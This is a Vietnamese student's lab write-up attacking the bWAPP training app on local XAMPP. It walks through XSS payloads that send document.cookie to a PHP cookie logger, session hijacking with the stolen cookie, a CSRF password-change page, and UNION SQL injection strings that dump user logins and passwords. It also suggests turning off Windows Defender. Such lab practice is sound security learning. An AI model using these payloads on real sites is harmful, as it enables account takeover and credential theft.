Thực hiện bài tập số 5 - Khai thác lỗ hổng Web
Vì hướng dẫn của cô cứ thiêu thiếu sao ấy, làm theo hướng dẫn khiến mình stuck một vài chỗ nên mình sẽ làm lại hướng dẫn này.
Hướng dẫn cài đặt bWAPP cùng với XAMPP
Tải bWAPP
Mình chọn việc cài luôn bWAPP cùng với XAMPP luôn, không phải cài máy ảo làm gì cho mất thời gian.
Truy cập http://www.itsecgames.com/download.htm để tải bWAPP
Ai cài máy ảo thì chọn cái bee-box bên dưới và tự mày mò cách cài nhé. Mình không không chọn hướng đó nên không hướng dẫn đâu.
Khi tải file, có thể bạn sẽ bị chặn như này:
Thì bạn tắt Windows Defender đi rồi tải lại thử xem sao nhé.
Giải nén và đặt vào htdocs
Sau khi đã tải về được thì giải nén ra và bỏ nguyên thư mục vừa giải nén ra được vào htdocs
Cài đặt
Có cái file install.txt như hình bên trên kìa, bạn tự đọc và cài đặt theo hướng dẫn trong đó là được
Tóm tắt (với Windows) thì
- Đầu tiên vào sửa thông tin để đăng nhập vào database của bạn (nếu database mysql của bạn đã thay đổi so với mặc định), sửa file setting ở bWAPP/admin/settings.php
- Sửa xong thì truy cập vào đường dẫn đến trang cài đặt là
http://localhost/bWAPP/install.php
để cài. Lúc này database của bWAPP sẽ được cài đặt vào database của bạn - Cài xong thì vào trang đăng nhập:
http://localhost/bWAPP/login.php
- Đăng nhập tài khoản mặc định
bee
với mật khẩubug
- Xong
XSS
Nhiệm vụ 1: Thực hành khai thác XSS phản xạ sử dụng phương thức GET mức độ dễ
Sau khi đăng nhập vào bWAPP chọn đến bài XSS - Reflected (GET), chọn level là low rồi nhấn Hack
Xác định lỗi XSS
Nhập thử dữ liệu vào 2 ô nhập, thấy có kết quả trả về
Đồng thời cũng thấy dữ liệu được gửi thông qua URL:
Kiểm tra lỗi XSS
Chèn thử <script>alert("XSS")</script>
vào một ô bất kì, ô còn lại điền cái gì cũng được nhưng phải điền
Đã thấy xuất hiện pop-up, do đó có thể thực hiện khai thác XSS
Khai thác lỗi XSS
Sử dụng kỹ thuật lấy cookie
Trong hướng dẫn của cô thì kẻ tấn công sử dụng một web được host free, nhưng vì chúng ta đang có xampp nên cách thực hiện của mình là host bằng xampp luôn.
Đầu tiên là tạo một thư mục đại diện cho trang web của hacker trong htdocs
Trong thư mục hacker ấy, tạo 2 file là get.php (để viết mã đánh cắp cookie) và get.txt (lưu cookie được đánh cắp)
Mã trong file get.php:
<?php
if(isset($_GET['cookie']))
{
$cookie = $_GET['cookie'];
// Mở file get.txt (hoặc cookie.txt), tham số 'a' để append (thêm dữ liệu)
$f = fopen('get.txt', 'a');
// Ghi referrer (nguồn gửi)
fwrite($f, $_SERVER['HTTP_REFERER']);
// Ghi cookie
fwrite($f, ". Cookie la: " . $cookie . " \n");
// Đóng file
fclose($f);
}
?>
Viết Payload khai thác XSS
Chỉnh sửa lại payload của cô cho phù hợp với trường hợp của mình sẽ là như này:
<script>window.open("http://localhost:8080/hacker/get.php?cookie="+document.cookie)</script>
Giải thích: đoạn script này khi thành công sẽ truy cập vào http://localhost:8080/hacker/
để thực hiện file get.php
với tham số truyền vào là cookie
sẽ mang giá trị document.cookie
chính là giá trị của cookie hiện tại của người dùng.
Khai thác
Chèn payload vào một trong hai ô nhập ban đầu (ô còn lại phải nhập gì đó, không để trống vì đơn giản là bWAPP bắt buộc phải nhập cả 2 trường này không thì nó sẽ báo lỗi)
Sau khi payload được gửi, đúng quy trình thì một tab mới sẽ nhảy ra như này:
Nhưng nếu bạn không thấy gì xảy ra thì có thể là bạn đang chặn cửa sổ bật lên, nên hãy kiểm tra lại và cho phép pop-up hiện lên:
Sau khi get.php đã được chạy, kiểm tra file get.txt xem cookie đã được lấy hay chưa
Đã lấy thành công cookie
Đăng nhập bằng cookie lấy được
Mở trang đăng nhập bWAPP trên một trình duyệt khác hoặc một hồ sơ người dùng khác:
Mở DevTools (F12) -> Application -> Sửa giá trị PHPSESSION thành giá trị vừa thu thập được trong file get.txt
Reload lại trang và bumpppp, không có gì thay đổi dù cookie đã sửa :»»»
Cái chỗ này làm mình stuck :> nhưng sau khi tìm hiểu thì mình phát hiện ra việc chèn cookie lại không khiến bWAPP tự động chuyển hướng đến trang sau đăng nhập nên khiến mình tưởng việc khai thác không thành công
Nhưng thật ra là ta phải tự truy cập vào trang sau đăng nhập (portal.php) thì sẽ cho ta thấy kết quả đăng nhập thành công với phiên của người dùng vừa bị đánh cắp cookie
Bạn có thể kiểm chứng lại bằng việc tạo và đăng nhập một tài khoản khác, khác tài khoản mặc định.
Vậy là hoàn thành nhiệm vụ 1.
Nhiệm vụ này theo hướng dẫn thì còn làm một trang giả mạo để dụ người dùng click nữa nhưng mình lược bỏ, tập trung vào cốt lõi nên không trình bày đoạn làm trang giả mạo ở đây nhé 😁
Nhiệm vụ 2: Thực hành khai thác XSS phản xạ sử dụng phương thức GET mức độ trung bình
Xác định lỗi
Làm tương tự như ở mức độ dễ, nhưng khi truyền một đoạn mã java script để thực hiện tạo một popup thông báo để kiểm tra xem site có bị lỗi XSS hay không?
Nhấn Go
thì không thấy phản ứng gì
F12 để kiểm tra trang thì thấy
So với payload truyền vào là <script>alert("XSS")</script>
thì kết quả lại là <script>alert(\"XSS\")</script>
cho thấy đầu vào đã bị escape
Thử vượt qua cơ chế lọc với một payload khác: <script>alert(String.fromCharCode(88, 83, 83))</script>
Kết quả:
=> Vẫn còn lỗi XSS
Khai thác lỗi
Phần hướng dẫn có cung cấp một vài payload khác để vượt qua bộ lọc.
Vì mục tiêu vẫn sẽ là đánh cắp cookie, nên mình sẽ sử dụng payload: "><script>alert(document.cookie)</script>
Kết quả:
Lại sử dụng một trình duyệt khác để chèn cookie vừa lấy được vào để đăng nhập
Truy cập vào trang portal
Đăng nhập thành công
Nhiệm vụ 3. Thực hành tấn công XSS phản xạ sử dụng chuỗi JSON mức dễ
Chọn bài XSS - Reflected (JSON) level low
Xác định lỗi
Nhập thử gì đó vào ô tìm kiếm
Thử với một payload khác: <script>alert("AT190447")</script>
F12 để kiểm tra:
Lý do đoạn java script truyền vào không được thực hiện là do nó đã nằm trong một đoạn mã java cript có sẵn của site đó. Để ý kĩ thấy để đóng được chuỗi var JSONResponseString, ta dùng chuỗi kí tự “}]}’;
Bây giờ thử đóng chuỗi var JSONResponseString và thêm alert(‘XSS’) để kết thúc một đoạn java script. Đoạn java script mới sẽ được hình thành:
<script>
var JSONResponseString = '{"movies":[{"response":"abc???
Sorry, we don't have that movie:("}]}';alert('XSS')
</script>
Payload mới: "}]}';alert('XSS')
Kết quả
Cho thấy có thể khai thác XSS.
Khai thác lỗi
Mục tiêu vẫn là đánh cắp cookie, payload: "}]}';alert(document.cookie)</script>
Đã đánh cắp cookie thành công
Nhiệm vụ 4. Thực hành tấn công XSS phản xạ sử dụng thuộc tính HREF mực độ dễ
Yêu cầu đầu tiên là nhập vào mã sinh viên
Nhưng bWAPP của mình lại bị lỗi
Nguyên nhân do: gọi mysqli_select_db()
sai thứ tự tham số — hàm mong đợi đối tượng kết nối mysqli
(resource) là tham số thứ nhất, còn bạn truyền chuỗi tên database ở vị trí thứ nhất. Nói ngắn: bạn đang đổi ngược tham số.
Sửa lại connect.php
Save và thử gửi lại mã sinh viên, kết quả:
Nguyên nhân: lỗi này là do mysql_query()
(và các mysql_*
khác) không tồn tại trên PHP 7+ (mà tôi đang dùng XAMPP với PHP 8+)
Giải pháp tốt nhất (khuyến nghị): chuyển toàn bộ code từ mysql_*
→ mysqli
Sau khi sửa xong thì chạy lại:
Kiểm tra lỗi
Truyền vào <script>alert("XSS")</script>
, kết quả:
Ctrl-U kiểm tra:
Ta thấy payload gửi đi đã được HTML-escaped
Do đó ta sử dụng một payload khác để bỏ qua cơ chế escape: "><script >alert("XSS")</script>
=> Có thể khai thác XSS
Khai thác
Sửa lại payload trên để thực hiện đánh cắp cookie: "><script >alert(document.cookie)</script>
Kết quả:
Sử dụng cookie vừa lấy được để đăng nhập như các nhiệm vụ trước
Nhiệm vụ 5. Thực hành tấn công XSS lưu trữ dạng Blog mức độ dễ
Xác định lỗi
Ta nhập thử dữ liệu vào ô nhập và submit
Ta thấy dữ liệu nhập vào sau khi submit được hiển thị ở cột entry
Thử submit đoạn script cơ bản: <script >alert("XSS")</script>
Kết quả:
=> Có thể khai thác
Khai thác
Kỹ thuật lấy cookie (Trình bày trong phần giới thiệu) Tương tự như nhiệm vụ 1, chỉ khác ở chỗ đoạn javascript có nhiệm cụ đánh cắp cookie của người dùng sẽ được lưu trữ trên server. Ở đây sau khi chèn đoạn mã javascript gửi lên server.
<script>window.open("http://localhost:8080/hacker/get.php?cookie="+document.cookie)</script>
Đoạn javascript đã được thực hiện. Từ bây giờ khi mỗi người dùng truy cập đến trang XSS - Stored (Blog) thì đoạn mã java script sẽ được thực thi để lấy cookie của người dùng gửi về file get.txt trên host của hacker đã dựng sẵn.
Đầu tiên, ta gửi payload sau từ tài khoản mặc định Bee:
<script>window.open("http://localhost:8080/hacker/get.php?cookie="+document.cookie)</script>
Sau khi submit:
file get.txt:
Tiếp theo, đăng nhập với một tài khoản khác:
Truy cập vào lỗ hổng XSS Stored
Tại đây, có vẻ như bWAPP đang mặc định ẩn đi những dữ liệu không phải do người dùng (người đang đăng nhập) nhập vào nên sẽ không thấy bị tấn công, nhưng chỉ cần tích chọn vào ô “Show all” thì những dữ liệu của những người dùng khác đã nhập vào cũng sẽ được hiển thị và khi đó đoạn script khai thác cũng sẽ được thực thi với phiên của người dùng hiện tại
Tích chọn Show all và submit lại
Kết quả:
File get.txt
Thực hiện sử dụng cookie để đăng nhập như các nhiệm vụ trước.
CSRF
Nhiệm vụ 1. Thực hành khai thác (Change Password) mức độ dễ
Ở nhiệm vụ này cần sử dụng burpsuite nên mình sẽ chuyển sang máy ảo Kali đang có sẵn burpsuite, cấu hình mạng của máy ảo là brigded để có thể truy cập vào bWAPP đang host trên máy thật.
Mở burpsuite, mở trình duyệt của burpsuite và truy cập vào bWAPP theo đường dẫn như trên máy thật nhưng thay localhost bằng địa chỉ ip máy thật
Trở lại BurpSuite, bật intercept lên
Trở lại bWAPP, điền vào mật khẩu mới và nhấn Change
Burpsuite sẽ bật lên
Ở đây thấy dữ liệu được gửi lên theo phương thức GET. Trên Burp Suite có chức năng Generate CSRF PoC. Sẽ tạo ra 1 đoạn code html có nhiệm vụ thực hiện yêu cầu của người dùng. Nhưng do mình dùng bản BurpSuite Community nên sẽ không thể sử dụng tính năng này, thay vào đó có thể dùng các tool trên mạng thay thế
Mình tìm thấy một trang có hỗ trợ Generate CSRF PoC là: https://csrfshark.github.io/app/ Copy nội dung request trong BurpSuite và dán vào web trên, kết quả:
Lưu lại result bên phải lại. File HTML này để kẻ tấn công có thể tùy chỉnh nội dung theo ý muốn của hắn và dụ người dùng truy cập vào sẽ khiến nội dung được thay đổi theo ý của kẻ tấn công
Dán result kia vào trình soạn thảo để tùy chỉnh, ở đây ta thay đổi mật khẩu theo ý muốn.
Ban đầu người dùng muốn đổi mật khẩu là “ducthang” nhưng tại đây ta tùy chỉnh lại thành “hackerpassword”
Đặt tên và chọn đích để lưu file
Đã tạo xong file khai thác CSRF, thực hiện lại quá trình đổi mật khẩu trên cửa sổ trình duyệt khác so với trình duyệt của BurpSuite để kiểm tra kết quả:
Mở file csrf.html
vừa lưu lên, nhấn submit để thực hiện gửi request với yêu cầu đã bị chỉnh sửa.
Có thể bạn sẽ gặp lỗi như này:
Mình đoán do mở file .html thì trình duyệt tự thêm https:// nên gây ra lỗi, để thực hiện thành công thì xóa phần này đi, chỉ để lại từ địa chỉ IP là được.
Kết quả:
Khai thác thành công!
Có thể thử đăng nhập lại bằng mật khẩu mà đã thay đổi trong file csrf.html
để kiểm tra.
SQL
Nhiệm vụ 1. SQL Injection (Login Form/Hero)
Sau khi nhập vào câu truy vấn cơ bản thì gặp lỗi giống mấy nhiệm vụ bên trên.
Để ChatGPT sửa thôi.
Trở lại với việc chính, sau khi sửa xong, ta thử lại
Kết quả:
Nhiệm vụ 2. SQL Injection (GET/Search)
Thử một tìm kiếm bất kì, gặp lỗi:
Sửa lỗi rồi thực hiện lại, để chatgpt sửa, cơ bản thì cú pháp mysql
sai, phải là mysqli
Sau khi sửa xong, thực hiện theo hướng dẫn
Bước 4: tayduky' union select 1,2,3,4,5,6,7-- -
Bước 5: tayduky' union select 1,2,3,4,group_concat(table_name),6,7 from information_schema.tables where table_schema=database()-- -
Bước 6: tayduky' union select 1,2,3,4,group_concat(column_name),6,7 from information_schema.columns where table_name='users'-- -
Bước 7: tayduky' union select 1,2,3,4,group_concat(login,0x3a,password,0x3a,email),6,7 from users-- -
Nhiệm vụ 3. SQL Injection – Blind – Boolean Based
–còn tiếp–